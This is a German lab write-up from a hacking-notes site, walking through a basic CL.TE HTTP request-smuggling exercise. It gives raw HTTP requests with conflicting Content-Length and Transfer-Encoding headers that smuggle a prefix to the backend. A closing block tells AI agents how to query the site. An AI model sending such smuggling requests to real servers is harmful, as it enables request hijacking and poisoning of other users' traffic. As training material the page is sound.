> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/basic-vulnerability-cl-te.md).

# Grundlegende Schwachstelle CL.TE

### HTTP-Request-Smuggling, grundlegende CL.TE-Schwachstelle

In diesem Lab besteht die Infrastruktur aus einem Frontend-Server und einem Backend-Server. Der Frontend-Server **unterstützt kein Chunked Encoding** und **weist jede Anfrage zurück, die nicht GET oder POST verwendet** Methoden.

Das Ziel ist es, **eine Anfrage zum Backend zu schmuggeln** Server, sodass **die folgende vom Server interpretierte Anfrage scheinbar die `GPOST`** Methode neu.

> Hinweis\:/ " Auch wenn das Lab HTTP/2 akzeptiert, basiert die notwendige Technik ausschließlich auf HTTP/1. Das Protokoll muss in Burp Repeater manuell über den Abschnitt „Request attributes“ im Inspector geändert werden.

> Tipp\:/ Das manuelle Handhaben von Längen bei einem Request-Smuggling-Angriff kann komplex sein. Die Burp-Erweiterung HTTP Request Smuggler, verfügbar im BApp Store, kann diese Aufgabe erleichtern.

#### \*\* Gültiges Beispiel beobachtet \*\*

Die folgende Anfrage wurde akzeptiert:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Fehler beim Ändern der endgültigen Größe**

Wenn das `0` das Endzeichen durch ein ungültiges Zeichen ersetzt wird (z. B. `X`), meldet der Server einen Fehler:

```
3
abc
X
```

<figure><img src="/files/a6088bfafee865cbe4b3483620d9ab07745419c7" alt=""><figcaption></figcaption></figure>

#### **Füge das einzuschleusende Endzeichen hinzu `G`**

Durch das Platzieren eines `G` nach dem letzten Chunk können Sie die eingeschleuste Anfrage für das Backend vorbereiten:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/46e9dc109095705d4315f766e3f5806b72f806a9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/basic-vulnerability-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
